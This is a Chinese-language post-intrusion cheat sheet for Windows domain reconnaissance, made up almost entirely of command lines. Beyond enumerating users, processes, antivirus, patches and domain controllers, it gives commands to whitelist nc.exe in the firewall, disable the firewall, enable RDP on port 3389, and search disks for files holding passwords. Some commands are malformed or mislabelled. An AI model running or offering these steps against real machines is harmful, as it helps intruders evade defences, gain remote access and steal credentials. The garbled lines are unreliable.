信息搜集
前言
耐心
搞清楚自己的位置
我是谁
我在那
这是哪
判断自己是否在域中
查看当前⽹卡和IP信息
ipconfig/all
查看系统详细信息
systeminfo
查看当前登录域及域⽤户
net config workstation
查看域内时间
net time /domain
会有三种情况
存在域当前用户不是域用户
存在域当前用户是域用户
不存在域
本机信息收集
查询操作系统和版本信息
英文版
systeminfo | findstr /d /c:os Nmae" /c:"os Version
中文版
systeminfo | findstr /d /c:os 名称" /c:"os 版本号"
查看系统结构
shell echo %PROCESSOR_ARCHITECTURE%
查看安装软件路径版本号
shell wmic product get name,version
查询本机服务信息
shell wmic service list brief
查询进程列表
shell tasklist
查看进程列表对应用户身份
shell tasklist /v
查看当前进程是否有杀毒软件
shell tasklist /svc
查看启动应用程序信息
wmic startup get command,caption
查看计划任务
shell schtasks /query /fo LIST /v
查看主机开机时间
shell net statistics workstation
查看有哪些用户
shell net user
查看当前在线用户
shell query user || qwinsta
查看本机开放端口
shell netstat -ano
查询补丁信息
shell systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
查询路由表所有可用接口的ARP缓存表
shell route print
shell arp -a
查看防火墙配置
shell netsh firewall show config
修改防火墙配置
win 2003及之前的版本,运⾏指定程序全部连接: netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
win 2003之后的版本⽤这条: netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
允许指定程序连出,命令如下 netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
允许 3389 端⼝放⾏,命令如下 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
⾃定义防⽕墙⽇志储存位置 netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
关闭防火墙
win 2003及之前的版本⽤这条命令: netsh firewall set opmode disable
win 2003之后的版本⽤这条命令: netsh advfirewall set allprofiles state off
查询并开启远程桌面连接服务
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
开启远程桌⾯的一些命令:
# 在 Windows Server 2003 中开启 3389 端⼝ wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
# 在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端⼝ wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
# 在 Windows 7 中开启 3389 端⼝ reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
域内信息收集
获取SID
shell whoami /all
查询域内用户
shell net user /domain
查看域用户的详细信息
shell net user 域用户ID /domain
查询域列表
net view /domain
查询域管理员列表
shell net view /domain
查看域内时间(时间服务器)
shell net time /domain
查看登录本机的域管理员
net localgroup administrators /domain
查看域内所有的用户管理组列表
net group /domain
查看主域控制器
netdom query pdc
查看所有域控制列表
net group "Domain Controllers" /domain
查询域信任信息
nltest /domain_trusts
查询域密码信息
net accounts /domain
通过dir命令查找账号密码
shell dir /b /s user.,pass.,config.,username.,password.*
for 循环搜集当前机器各类敏感密码配置⽂件
shell for /r c:\ %i in (pass.*) do @echo %i
findstr 命令查找某个⽂件的某个字段
shell findstr /c:"user" /c:"pass" /si *.txt